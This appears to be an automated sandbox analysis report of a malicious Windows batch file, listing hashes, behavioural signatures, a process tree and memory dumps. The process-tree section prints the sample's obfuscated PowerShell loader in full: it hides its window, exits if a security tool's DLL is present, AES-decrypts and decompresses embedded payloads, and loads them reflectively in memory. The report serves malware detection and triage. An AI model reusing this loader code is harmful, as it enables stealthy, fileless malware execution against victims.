Analysis
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max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
09-05-2024 01:08
Static task
static1
Behavioral task
behavioral1
Sample
1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat
Resource
win7-20240220-en
windows7-x64
3 signatures
150 seconds
General
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Target
1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat
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Size
65KB
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MD5
963ce568ecee6a43389e1e12b60f325a
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SHA1
2cbf2183bf67d7d2eeb98366ab9702e23e4d7c30
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SHA256
1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad
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SHA512
18c2c8dd7a1336cbd18c1d0e6659f47a8718492f37c1224c3348391b97b3c15e74108e293f2777323cec7bde6a645243a409d2d000b9b94bc7b71d4ee7ae8554
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SSDEEP
1536:BNnIoXnDA1Chiapd336sy2r0z1k7Ew2Gr1lwtnLYT8ki:BRIGAA336sy2rSk7Ew2Gr1lKT
Score
1/10
Malware Config
Signatures
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2988 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2988 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 3032 wrote to memory of 2872 3032 cmd.exe cmd.exe PID 3032 wrote to memory of 2872 3032 cmd.exe cmd.exe PID 3032 wrote to memory of 2872 3032 cmd.exe cmd.exe PID 2872 wrote to memory of 3064 2872 cmd.exe cmd.exe PID 2872 wrote to memory of 3064 2872 cmd.exe cmd.exe PID 2872 wrote to memory of 3064 2872 cmd.exe cmd.exe PID 2872 wrote to memory of 2988 2872 cmd.exe powershell.exe PID 2872 wrote to memory of 2988 2872 cmd.exe powershell.exe PID 2872 wrote to memory of 2988 2872 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat';$BMbC='RsHpUesHpUadLsHpUinsHpUesHpUssHpU'.Replace('sHpU', ''),'CCFZsreCFZsatCFZseDCFZsecCFZsrCFZsyCFZspCFZstCFZsorCFZs'.Replace('CFZs', ''),'FrBDpromBDprBBDpraBDprseBDpr6BDpr4SBDprtrBDpriBDprngBDpr'.Replace('BDpr', ''),'ChAmxTanAmxTgAmxTeEAmxTxtAmxTensAmxTiAmxTonAmxT'.Replace('AmxT', ''),'DMtvCecMtvComMtvCprMtvCeMtvCsMtvCsMtvC'.Replace('MtvC', ''),'LCapfoaCapfdCapf'.Replace('Capf', ''),'ISAmunSAmuvokSAmueSAmu'.Replace('SAmu', ''),'MawqArinMwqArowqArduwqArlewqAr'.Replace('wqAr', ''),'GetKwgmCuKwgmrreKwgmntKwgmPKwgmrocKwgmessKwgm'.Replace('Kwgm', ''),'SplMBlVitMBlV'.Replace('MBlV', ''),'ElayXCemayXCeayXCnayXCtayXCAtayXC'.Replace('ayXC', ''),'TVQktranVQktsVQktforVQktmFiVQktnaVQktlVQktBVQktloVQktcVQktkVQkt'.Replace('VQkt', ''),'EnXNnYtXNnYrXNnYyPoXNnYintXNnY'.Replace('XNnY', ''),'ComQwwpyTmQwwomQww'.Replace('mQww', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BMbC[8])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function zlGLC($RSWKX){$GVeOl=[System.Security.Cryptography.Aes]::Create();$GVeOl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$GVeOl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$GVeOl.Key=[System.Convert]::($BMbC[2])('uY6F5j209xASZjaoUU93vCCXVRY+Y6fGH5LCH0uNzYo=');$GVeOl.IV=[System.Convert]::($BMbC[2])('iwvv8vpAhw35q7w8nU7OXw==');$QznTD=$GVeOl.($BMbC[1])();$RHHCU=$QznTD.($BMbC[11])($RSWKX,0,$RSWKX.Length);$QznTD.Dispose();$GVeOl.Dispose();$RHHCU;}function lfrrO($RSWKX){$kKatK=New-Object System.IO.MemoryStream(,$RSWKX);$EyOwi=New-Object System.IO.MemoryStream;$oJtRR=New-Object System.IO.Compression.GZipStream($kKatK,[IO.Compression.CompressionMode]::($BMbC[4]));$oJtRR.($BMbC[13])($EyOwi);$oJtRR.Dispose();$kKatK.Dispose();$EyOwi.Dispose();$EyOwi.ToArray();}$FYWBz=[System.IO.File]::($BMbC[0])([Console]::Title);$QpMEc=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 5).Substring(2))));$IyoFy=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 6).Substring(2))));[System.Reflection.Assembly]::($BMbC[5])([byte[]]$IyoFy).($BMbC[12]).($BMbC[6])($null,$null);[System.Reflection.Assembly]::($BMbC[5])([byte[]]$QpMEc).($BMbC[12]).($BMbC[6])($null,$null); "3⤵PID:3064
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2988
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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memory/2988-4-0x000007FEF599E000-0x000007FEF599F000-memory.dmpFilesize
4KB
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memory/2988-5-0x000000001B4C0000-0x000000001B7A2000-memory.dmpFilesize
2.9MB
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memory/2988-6-0x0000000002860000-0x0000000002868000-memory.dmpFilesize
32KB
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memory/2988-8-0x000007FEF56E0000-0x000007FEF607D000-memory.dmpFilesize
9.6MB
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memory/2988-7-0x000007FEF56E0000-0x000007FEF607D000-memory.dmpFilesize
9.6MB
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memory/2988-9-0x000007FEF56E0000-0x000007FEF607D000-memory.dmpFilesize
9.6MB
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memory/2988-10-0x000007FEF56E0000-0x000007FEF607D000-memory.dmpFilesize
9.6MB
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memory/2988-11-0x000007FEF56E0000-0x000007FEF607D000-memory.dmpFilesize
9.6MB
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memory/2988-12-0x000007FEF56E0000-0x000007FEF607D000-memory.dmpFilesize
9.6MB